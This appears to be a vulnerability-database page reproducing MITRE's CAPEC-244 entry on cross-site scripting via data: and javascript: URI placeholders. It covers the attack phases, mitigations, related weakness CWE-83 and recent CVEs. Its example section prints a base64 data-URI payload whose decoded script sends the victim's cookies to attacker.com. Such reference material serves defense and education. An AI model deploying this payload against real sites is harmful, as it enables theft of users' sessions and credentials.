CAPEC-244

XSS Targeting URI Placeholders

High severityHigh likelihoodDetailed pattern

An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.

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Ask an AI about this attack pattern
How the attack unfolds
Prerequisites
Skills required
Resources required
Consequences
Mitigations
Weaknesses it exploits
Related attack patterns
Examples

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Explain the attack pattern CAPEC-244: XSS Targeting URI Placeholders: how it unfolds, what it needs and how to prevent and detect it in my systems. Use https://capec.mitre.org/data/definitions/244.html and https://cve.bz/cve/capec/244?via=ask-ai-copy, which lists recent CVEs with the weaknesses it exploits. Cite the sources.

Opens a third-party assistant; its answer is its own, not cve.bz's. The prompt holds only this attack pattern's id and public links.

How the attack unfolds

Explore
The attacker looks for a way in.
1. [Survey the application for user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  3 techniques
  - Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
  - Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
  - Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.
Experiment
They probe what they found.
1. [Probe identified potential entry points for reflected XSS vulnerability] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various payloads formatted as data URI schemes using base to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
  2 techniques
  - Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.
  - Use a proxy tool to record results of manual input of XSS probes in known URLs.
2. [Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  2 techniques
  - Change a URL parameter to include a malicious payload formatted as a URI scheme, or use the URL returned when the URI scheme was given as input to the web application.
  - Send information gathered from the malicious script to a remote endpoint.
Exploit
They carry out the attack.
1. [Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.
  2 techniques
  - Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
  - Put the malicious URL on a public forum, where many victims might accidentally click the link.

Prerequisites

Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme.

Skills required

Medium skill
To inject the malicious payload in a web page

Resources required

Ability to send HTTP request to a web application

Consequences

What a successful attack can lead to
Impact	Affects	Note
Modify Data	Integrity
Read Data	Confidentiality
Execute Unauthorized Commands	Authorization	Run Arbitrary Code
Gain Privileges	Accountability, Authentication, Authorization, Non-Repudiation
Bypass Protection Mechanism	Access Control, Authorization

Mitigations

Design: Use browser technologies that do not allow client side scripting.
Design: Utilize strict type, character, and encoding enforcement.
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.
Implementation: Perform input validation for all remote content, including remote and user-generated content
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as JavaScript in browser
Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.

Weaknesses it exploits

CWE-83 Improper Neutralization of Script in Attributes in a Web Page

Recent CVEs with these weaknesses

5.1CVE-2026-1123562026-10-28
GFI KerioConnect (Kerio Connect) before 10.0.9 Patch 2 contains a cross-site scripting vulnerability in the Webmail component that allows a remote attacker to spoof link targets or inject HTML into a message as rendered in a victim's authe…
6.2CVE-2026-1123532026-10-27
GFI KerioConnect (Kerio Connect) before 10.0.8 Patch 2 contains a stored cross-site scripting vulnerability in the Webmail component that allows a remote attacker to run JavaScript in a victim's authenticated Webmail session by uploading a…
7.4CVE-2026-617912026-10-22
OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. Prior to 1.2.1, `Html::commandButton()` in `lib/Html.class.php` embeds an action URL containing a stored…
5.4CVE-2026-583912026-10-15
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, Firewall Rules and NAT views place stored category names and alias descriptions into HTML title attributes in filter_rule.volt and nat_rule.volt without q…
7.6CVE-2026-1082602026-10-09
Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL schem…
8.2CVE-2026-911272026-09-18
File Viewer is a browser-native viewer for Office, PDF, CAD, archive, and other files in private and internal web applications. Prior to @file-viewer/doc 2.3.1 and msdoc-viewer 0.2.2, the legacy DOC renderer emitted document-controlled hyp…
9.3CVE-2026-451182026-08-18
MyBB is free and open source forum software. Prior to 1.8.40, the Contact module does not validate a redirect URL or protocol correctly, resulting in an open redirect and reflected JavaScript code injection. contact.php accepts the redirec…
8.3CVE-2026-457332026-08-18
Trilium Notes is a cross-platform, hierarchical note taking application focused on building large personal knowledge bases. Prior to 0.103.0, the #iconClass label value is returned raw by getNoteIcon() and inserted without HTML attribute e…

The newest records naming one of them. Each weakness's page lists them all.

Part of: CAPEC-591 Reflected XSS
CAPEC-592 Stored XSS
CAPEC-588 DOM-Based XSS

Examples

The following payload data:

text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==

represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser.

The decoded payload is the following piece of HTML code:

<html>
  <body>
    <script>
      var img = new Image();
      img.src = "http://attacker.com/cookiegrabber?"+ encodeURIComponent(document.cookies);

    </script>

  </body>

</html>

Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack.

An adversary could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute):

Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.

MITRE's words, unchanged: CAPEC-244 at MITRE. CAPEC is Copyright © 2007–2026, The MITRE Corporation, used under the CAPEC terms of use: “The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use Common Attack Pattern Enumeration and Classification (CAPEC™) for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE’s copyright designation and this license in any such copy.” CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Credits. All attack patterns.